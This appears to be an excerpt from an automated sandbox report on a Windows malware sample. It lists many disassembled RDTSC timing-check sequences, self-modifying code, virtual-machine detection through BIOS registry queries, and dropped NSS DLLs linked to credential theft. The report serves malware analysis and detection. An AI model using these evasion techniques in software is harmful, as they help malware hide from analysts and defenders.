Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B09E3 second address: 53B0574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007FDA1074680Eh 0x0000000f leave 0x00000010 jmp 00007FDA10746810h 0x00000015 retn 0008h 0x00000018 cmp dword ptr [ebp-2Ch], 10h 0x0000001c mov eax, dword ptr [ebp-40h] 0x0000001f jnc 00007FDA10746805h 0x00000021 push eax 0x00000022 lea edx, dword ptr [ebp-00000590h] 0x00000028 push edx 0x00000029 call esi 0x0000002b push 00000008h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0ABD second address: 53B0AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0AC1 second address: 53B0AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0AC7 second address: 53B0AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDA10EF18A5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0AF6 second address: 53B0B18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDA10746815h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B18 second address: 53B0B34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF18A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B34 second address: 53B0B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0B38 second address: 53B0B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75CCAB second address: 75CCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75CCAF second address: 75CCD2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDA10EF1896h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDA10EF18A4h 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75BE2D second address: 75BE33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C109 second address: 75C127 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10EF189Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FDA10EF18A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C127 second address: 75C12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C299 second address: 75C2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDA10EF1896h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C2A7 second address: 75C2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10746818h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C556 second address: 75C55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C55C second address: 75C560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 75C560 second address: 75C564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 760099 second address: 760195 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FDA1074680Ch 0x00000012 mov eax, dword ptr [eax] 0x00000014 push ecx 0x00000015 jmp 00007FDA10746811h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f jmp 00007FDA10746810h 0x00000024 pop eax 0x00000025 pushad 0x00000026 jmp 00007FDA10746813h 0x0000002b pushad 0x0000002c sbb cl, FFFFFF8Ah 0x0000002f sub dword ptr [ebp+122DB802h], esi 0x00000035 popad 0x00000036 popad 0x00000037 push 00000003h 0x00000039 jmp 00007FDA10746816h 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D3527h], ebx 0x00000046 push 00000003h 0x00000048 call 00007FDA10746809h 0x0000004d jmp 00007FDA1074680Fh 0x00000052 push eax 0x00000053 pushad 0x00000054 jmp 00007FDA10746811h 0x00000059 push edi 0x0000005a push edx 0x0000005b pop edx 0x0000005c pop edi 0x0000005d popad 0x0000005e mov eax, dword ptr [esp+04h] 0x00000062 jmp 00007FDA10746814h 0x00000067 mov eax, dword ptr [eax] 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FDA10746819h 0x00000071 jl 00007FDA10746806h 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 760195 second address: 7601CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDA10EF18A7h 0x00000008 jns 00007FDA10EF1896h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FDA10EF189Fh 0x0000001c rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 7602CD second address: 760326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 038D5798h 0x00000010 movsx edx, dx 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FDA10746808h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f mov esi, dword ptr [ebp+122D393Eh] 0x00000035 push 00000000h 0x00000037 push 00000003h 0x00000039 mov edi, dword ptr [ebp+122D283Eh] 0x0000003f push 978CDAD2h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 760326 second address: 76032A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 76032A second address: 76032E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 76032E second address: 76036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 578CDAD2h 0x0000000e mov dword ptr [ebp+122D1FA3h], esi 0x00000014 lea ebx, dword ptr [ebp+12454E59h] 0x0000001a or dword ptr [ebp+122D2A19h], eax 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FDA10EF18A9h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pushad 0x0000002b popad 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 771035 second address: 771039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 771039 second address: 77103F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77103F second address: 771049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDA10746806h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77FFC6 second address: 77FFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF189Fh 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jp 00007FDA10EF1896h 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77FFE4 second address: 77FFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E174 second address: 77E17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E17A second address: 77E17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E17F second address: 77E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDA10EF189Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E193 second address: 77E197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E197 second address: 77E1A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E1A3 second address: 77E1A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E322 second address: 77E326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E326 second address: 77E34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push edx 0x0000000f jl 00007FDA1074680Ch 0x00000015 je 00007FDA10746806h 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007FDA10746806h 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E480 second address: 77E485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E485 second address: 77E4A7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDA10746817h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E4A7 second address: 77E4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF18A7h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E4C2 second address: 77E4FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FDA10746815h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDA1074680Ch 0x00000019 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E4FB second address: 77E522 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDA10EF1896h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDA10EF18A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E9BA second address: 77E9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FDA10746806h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E9CB second address: 77E9F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FDA10EF18A2h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007FDA10EF1896h 0x00000019 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77E9F0 second address: 77EA0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Ah 0x00000007 jmp 00007FDA1074680Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77EA0C second address: 77EA17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FDA10EF1896h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77EB60 second address: 77EB6A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDA10746806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77EFDC second address: 77EFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA10EF18A6h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 77FE40 second address: 77FE60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA1074680Ah 0x00000007 jmp 00007FDA10746812h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 784E57 second address: 784E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDA10EF1896h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 784E66 second address: 784E7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10746813h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 7544EB second address: 7544F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 787C13 second address: 787C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDA10746817h 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 787C35 second address: 787C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 787C39 second address: 787C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 787C3F second address: 787C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 788330 second address: 788338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 788338 second address: 788387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FDA10EF18A6h 0x0000000d push edx 0x0000000e jp 00007FDA10EF1896h 0x00000014 pop edx 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push ebx 0x0000001b jmp 00007FDA10EF189Ah 0x00000020 pop ebx 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FDA10EF18A4h 0x0000002a rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 788387 second address: 7883AE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDA10746808h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007FDA10746815h 0x00000018 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B095 second address: 78B09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B09B second address: 78B09F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B09F second address: 78B0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007FDA10EF1896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B7D1 second address: 78B7DB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDA10746806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B7DB second address: 78B7F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA10EF189Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FDA10EF1896h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B7F3 second address: 78B7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B95A second address: 78B95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B95F second address: 78B964 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B964 second address: 78B96A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B96A second address: 78B985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA1074680Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B985 second address: 78B992 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDA10EF1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78B992 second address: 78B9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FDA1074680Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDA10746818h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78E65C second address: 78E674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDA10EF189Ah 0x00000013 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78E674 second address: 78E678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78E678 second address: 78E681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78E999 second address: 78E99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78E99F second address: 78E9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78EC8F second address: 78ECB2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FDA10746818h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	RDTSC instruction interceptor: First address: 78ECB2 second address: 78ECB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8DFC56 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8DFCBE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A80C21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A7F465 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0F497 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Special instruction interceptor: First address: 786883 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Special instruction interceptor: First address: 7ADE8F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Special instruction interceptor: First address: 5DECB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKKKJJJKJK.exe	Special instruction interceptor: First address: 810F4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B56883 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B7DE8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9AECB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BE0F4F instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\JKKKJJJKJK.exe

Code function: 17_2_04C40335 rdtsc

17_2_04C40335

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
